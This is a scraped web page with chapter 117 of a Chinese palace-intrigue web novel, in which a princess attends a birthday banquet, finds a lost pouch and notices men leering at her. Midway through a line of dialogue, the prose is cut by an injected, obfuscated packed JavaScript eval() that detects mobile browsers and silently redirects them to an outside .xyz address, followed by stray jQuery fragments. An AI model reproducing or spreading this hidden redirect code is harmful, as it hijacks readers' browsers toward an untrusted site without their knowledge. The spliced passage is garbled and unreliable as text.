默认冷灰
24号文字
方正启体

117. 第一百一十七章 生辰宴

作者:大海不见大海本书字数:K更新时间:
    不过吴王说的也是实话。即便东宫如日中天,故太子也没有明目张胆纵容过沈明枳僭越至此,沈明枳不过在大儒才子来东宫为太子讲课时跟着听上半天,有了疑惑就私底下去问,问不着就找梅如故,最多格外帮她请位老师。


    吴王是有偷换概念,将公主读书的小事渲染成皇女出阁读书、新太子废立之大事,但扪心自问,赵王和长英真的没有这样试探的用意么?


    反正事情彻底黄了,长英去宫里哭了两天,将责任全都揽到了自己身上,大事化小、小事化了,末了圣上还觉得小女儿过个生日不容易,反倒多多赔上了赏赐风光来安慰长英。赵王派算是有惊无险,但还是窥得了天意:圣上未必真的愿意立赵王为储。


    这下本担心再被吴王离间的沈明枳,更加焦虑了。


    现在还有吴王挡着,赵王一时半会儿不会怀疑到戒子头上,等吴王倒了,秦王老九又是个软骨头,绝对不会甘心替人受过,那时她的戒子就危险了。


    临川兀自说得没劲,见沈明枳平白又唉声叹气,更加没劲,但眼珠子咕噜一转,立刻有了办法:“话说,柳大人这是真病假病?这么弱不禁风啊——”


    果然,沈明枳回神淡淡道:“你管那么多作甚?”


    十五那天,沈明枳的确委婉地提了下,既然长英这般勤学好问,那让都察院那些年轻未婚的有才士子们多出来指点指点。


    圣上自然不会以为是冲着“有才”二字去的,以为长英看重了都察院哪个未婚的小年轻,点头应是:“是该如此,那朕明日就和柳卿打个招呼,让他别拘着手下的年轻人。”


    长英一紧手帕,沈明枳倒不急:“父皇您这话说的,直让人以为柳大人是什么阎罗鬼面,御史们都不敢去的。”


    圣上一哂,琢磨出了点女儿家弯弯绕绕的心思。但柳曦既,有才!未婚!怎么着也算不上年轻了啊!


    他看向微红着脸的长英和仍笑望自己的兖国。且当时,他是打算将鹇儿许给柳曦既的,这丫头怎么反倒给长英做起媒?


    算了,这个年纪就干到正二品左都御史的,柳曦既也算是极其年轻。


    圣上一笑:“那朕就让柳卿一并去,这样总没有妨碍了。”


    但好巧不好,第二天夜里柳曦既就发起了高烧,说是连日劳累,下衙时和对门的大理寺薛少卿、顺路的户部梅侍郎在宫门口多聊了几句,被晚风吹得身子受不住病倒了。


    沈明枳也没想着关心柳曦既的病情,奈何梅如故自作多情地给她传信报平安,说什么柳曦既没什么大碍,只不过要卧床静养几日不必担心云云。最后,还忍不住吐槽上了自己,说自己多管什么闲事到圣上面前多嘴,柳曦既以前可是一个带病也要工作的人,现在硬生生被逼得在家里挺尸,暴殄天物不说,惹得他家老四天天不安生要往柳府跑,像什么话怎么像话!


    临川捻着帕子,朝着四周比划,勾唇微笑:“你没看见长英那失魂落魄的样子么?这宴会办得再风光又怎样?她打扮得再花枝招展又怎样?宾客来得再多又怎样?还不是一场空么?”


    沈明枳乜斜一眼:“她不高兴,你又高兴了?”


    临川一把把她抱得更紧:“知我者,鹇儿是也!”


    沈明枳轻笑一声,里面的蔑视意味很浓,但临川不在意,甚至觉得如果沈明枳不嘲讽她这没骨头的想法,那就不是她了,“唉,不过柳大人这身子真是……人高马大的,以前也没觉得他这么体弱多病……”


    临川说着说着脚下一绊,差点整个人扑到沈明枳身上。她们没走大路,就着石子小径绕着一株株花树走,已经走到了人迹罕至的树丛深处。临川稳住身子,踢了踢脚下,滚出来一只鼓鼓囊囊的绯色荷包,那长长已经交缠打结的流苏穗子被枯丛勾住,上面还沾染了一些灰白色污渍。


    临川又脚翻了翻那荷包,明明不脏却不想捡它,皱着鼻子向沈明枳要个主意。沈明枳蹲身端详片刻,向临川摊手:“帕子。”


    临川不舍却不敢违逆,随后就见沈明枳用帕子裹着那荷包捡了起来,用指尖小心拨开枝桠,然后将流苏与荷包一起裹到了帕子里交给了远远跟着她们的月珰。她也和沈明枳一样八百年不带帕子,今天突发奇想带上了,也想装一会斯文来着,结果又奉献出去了。


    临川正要就这这一只荷包奇思妙想时,忽而听见前方一阵骚动,有婢女打扮的人迎面小步跑来见了她们,便低着头走上来请安,言辞中有焦急色。她叫得出临川和沈明枳的封号,但临川与沈明枳都不认识她们,沈明枳颔首过后便叫住了她问:“出什么事了?”


    那婢女回身再行礼:“回公主,我家夫人要回府了,但找了好几久,我家三小姐还没找到。”


    临川看了一眼天色,午过不久,还算早。沈明枳宽慰道:“你们先不必过于焦心,杏园很大,姑娘家说不准躲哪儿了说悄悄话,慢慢来——贵府是?”


    婢女谢过恭敬答:“鸡鸣巷费家。”


    沈明枳将现在朝中三品及以上的官儿都过了一遍,找不出一个姓费的,便朝她点点头示意她可以走了。临川却在那婢女走后半猜半蒙地摩挲起下巴,“莫不是——通政司的那个四品左通政家的?”


    “嗯?”


    临川往人去的方向望了一眼,“他家嫁入阳安侯府的那个长女在化隆很有赞誉——”临川看了一眼沈明枳的表情,就知道什么阳安侯什么赞誉的一概不知,不过也是,如果有大场面都是旁人来巴结她们,哪里用得着她们去留心别人。思及此,临川又不禁琢磨起,自己堂堂临川郡主,怎么就知道一个四品官儿家女儿口碑好不好?


    临川狠狠一捶手心,她记起来了:“楼复从军走的就是阳安侯家的路子,我说呢!”


    沈明枳眼神暗闪。


    阳安侯崔家与靖安侯齐家一样,都是几十年军旅世家,几代人都埋在军里的,兵连祸结时长房一支都死绝了,现在当家的是二房的儿子。他们家和长荣所嫁的张家一样,几番诸王夺储持时都是中立态度,算是这闹哄哄的京中少有的安生人家。


    “月珰。”沈明枳唤了一声。


    临川诧异,“怎么了?你也要帮忙找?”


    “将那个荷包交给杏园管事,让他们帮忙找找有哪家小姐丢了东西。”


    月珰应声退下,临川让她的婢女也跟去帮忙。


    临川松了一口气,挽上沈明枳的手开始往林子外面走,“唉,对,咱们就不要掺和了,小姑娘家爱玩,躲来躲去的就让人担心,看来我得回去好好说说静潭。”


    “今天你怎么没带他们来?”


    临川撇嘴:“他们生母病了,自然要在床前伺候尽孝。”


    沈明枳点点头,觉出临川的口气是有点泛酸,抬手轻轻拍拍她的手背,“你是他们嫡母,你若有个三灾六病的他们也得床前伺候你。”


    临川白她一眼:“你就想我点好吧,天天咒我!”


    沈明枳轻笑破了音:“诬蔑我,我何曾天天咒你了。”


    行至楼阁亭榭,正有一众女眷簇拥着长英投壶,再定睛一看,还有个俊俏的粉面郎君正细心教着她,竟是宣国和齐珏那个久不出门的儿子齐骞,几个风流恣意的儿郎也正坐在一边的石板凳上喝茶谈风雅,也有大胆的女子上前搭话,场面花团锦簇其乐融融。


    长英又射偏了一个,正有些兴致缺缺,抬头看见沈明枳,立即盈盈笑道:“十姐姐!临川姐姐!你们来了!”


    有捧场地笑道:“原来是兖国公主,奴记得兖国公主殿下当时投壶射箭打马球无一不通!”


    话落,坐得稍远些的几个年轻人朝这里看来,长英顺势将箭横着递到一步步走近的沈明枳眼前:“姐姐投一个?”


    沈明枳看看那支箭,再看看捏着那支箭的水葱似的手指,莹润的指甲似是涂了一层蜜,她笑着推了推:“还是算了,这么多年没有上手了。”


    长英也不强求,只是摆了姿态又投了出去,唉叹起后便又挤到负手立在一旁静静看的沈明枳前,“唉,好难啊,姐姐有没有什么秘诀?”


    沈明枳微笑:“哪有什么秘诀,熟能生巧


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15410630|142272||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    罢了。”


    长英嘟了嘴,又站了回去继续投壶。沈明枳便缓缓走到一边空着的石椅旁坐下,一转头就见临川早就一溜烟跑没影了,再一找,发现她正在一群年轻人中拎着乐不可支的辛喾的耳朵狠狠教训,不由得又笑了起来。


    沈明戒枯坐着看人立了靶子射箭无趣,看准了机会便蹭到了沈明枳身边,“阿姐。”


    环顾一圈没见秦王老九,沈明枳问他:“你今天是和你九哥一起来的?怎没见他人?”


    “哎,九哥吃过饭就走了,说是府中有事。”


    “都察院的御史来了几个?”


    沈明戒心知她问的是介含清,“没几个,他们都有公务忙着呢,我认识的,诸如介御史都没来。”


    沈明枳点点头,“你怎么没跟着九哥一起走?”


    沈明戒笑:“九哥府中有私事我跟着像什么话,况且,我好久没见阿姐,想得慌呢!”


    沈明枳无奈地笑笑,心道他就不怕叫辛喾他们看见平日里威风赫赫的晋王巴巴跑到自己面前撒娇丢脸?


    他们正说着话,忽闻有女子交谈声自身后一丛长青的矮灌木传来,因着几个字眼极其突出,沈明枳登时止住了话口凝神细听:“蔻蔻,你脖子上怎么有几道血痕?”


    “啊?应该是树枝划的,我倒没注意。”


    “去处理一下吧,留疤就不好了。”


    “怎么了阿姐?”


    沈明枳一笑,留神看转过来的那两位女子,一身绯色长裙、鬓发略微被枝桠勾得有点散乱的女子正捂着脖子,另一人水蓝色的长裙在午后的阳光之下直闪着微光。沈明戒探头凑上一眼,以为沈明枳看中了她的裙子,正打算笑着赞上两句,就见两位佳人款款而过,露出被他们身影遮挡的对面的男子来。


    何施臣正朝他们举杯,一边同样倚着石栏半仰坐着的男人喝着杯中美酒,眯起一双凤眼正浑身上下地打量着端坐的沈明枳,目光暧昧轻佻,是有勾魂摄魄的本事,可以勾得闺阁女子魂牵梦萦,也能勾得沈明戒胆上恶寒。


    男人用胳膊肘捅了捅何施臣的肩膀,压低了嗓音赞道:“不愧是你看上的,那个姓郇的公主媳妇,这滋味,想想就刺激。”


    何施臣的目光略过晋王,隐约看得见被晋王遮住的那个女子裹在冬衣里玲珑的曲线,露出领子的一截脖子和夏日里出淤泥的藕段一样白嫩,他不禁又咽了下口水,心中叹惋着过去一年里,自己想方设法往她面前凑,她愣是根本没看见自己这个人一样。正惋惜着,何施臣感觉到朝他们颔首的晋王眼神不对,收敛了肆无忌惮的目光警告道:“别说了,晋王看着呢。”


    男人嗤笑:“他难道还会唇语?知道了我们在说什么那不成还能来找事?”


    他猜对了,沈明戒随沈明枳南巡一路,跟着窦宇学过唇语还有一些西北戎狄的语言。至于找事,沈明戒自然不会明着下了西南氏族的面子,好歹他也是深宫里长出来的,又在南海道见过不少阴损的法子,暗着收拾些人不成问题。


    “怎么了?”沈明枳从飘然而过的两位佳丽身上收回神,感觉紧绷着的沈明戒心情不对,便偏过头往他看着的方向一望,随后自己的心情也不好了。


    窦晴柔为了维持面表上的和平,请了西南氏族中与赵王派还算交好的几家,这也就解释了为什么她上午久违地又遇见了何施雅,这个去年一年里仍然锲而不舍与郇寰制造各种偶遇的姑娘。沈明枳反正是佩服热恋中的姑娘身上这样的毅力的,也很想不通这些小丫头脑袋里想的都是什么,学学长英去仰慕那些既未婚又优异的男儿不好么,非要来没事找事。


    拢着长英的那处脂粉堆里爆出了欢呼,“贯耳”“贯耳”地叫着,沈明戒搀了她的手腕打算离开这个是非之地,“有人投出了贯耳阿姐不去看看?”


    沈明枳也觉得此地坐得别扭,但从一个狼窝躲到另一个虎穴绝非她愿,“不了,一会儿我便回了,你与他们再好好玩一玩吧。”


    “那呆会儿我送阿姐吧——”


    “这是我的荷包!”
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)